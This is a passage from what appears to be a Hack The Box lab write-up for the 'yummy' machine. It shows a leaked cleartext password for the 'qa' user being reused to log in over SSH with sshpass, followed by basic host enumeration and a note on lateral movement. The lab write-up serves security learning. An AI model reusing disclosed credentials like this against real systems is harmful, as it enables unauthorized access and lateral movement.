qa


Validating the disclosed CLEARTEXT credential of the qa user

┌──(kali㉿kali)-[~/archive/htb/labs/yummy]
└─$ sshpass -p 'jPAd!XQCtn8Oc@2B' ssh qa@yummy.htb
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-31-generic x86_64)
 
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro
 
 System information as of Sun Oct  6 07:57:25 PM UTC 2024
 
  System load:  0.06              Processes:             271
  Usage of /:   61.4% of 5.56GB   Users logged in:       0
  Memory usage: 26%               IPv4 address for eth0: 10.129.231.153
  Swap usage:   0%
 
 
Expanded Security Maintenance for Applications is not enabled.
 
10 updates can be applied immediately.
10 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
 
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
 
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
 
 
Last login: Sun Oct  6 18:21:19 2024 from 10.10.15.34
qa@yummy:~$ whoami
qa
qa@yummy:~$ hostname
yummy
qa@yummy:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:da:d3 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.129.231.153/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 3128sec preferred_lft 3128sec

Password reuse confirmed Lateral Movement made to the qa user via SSH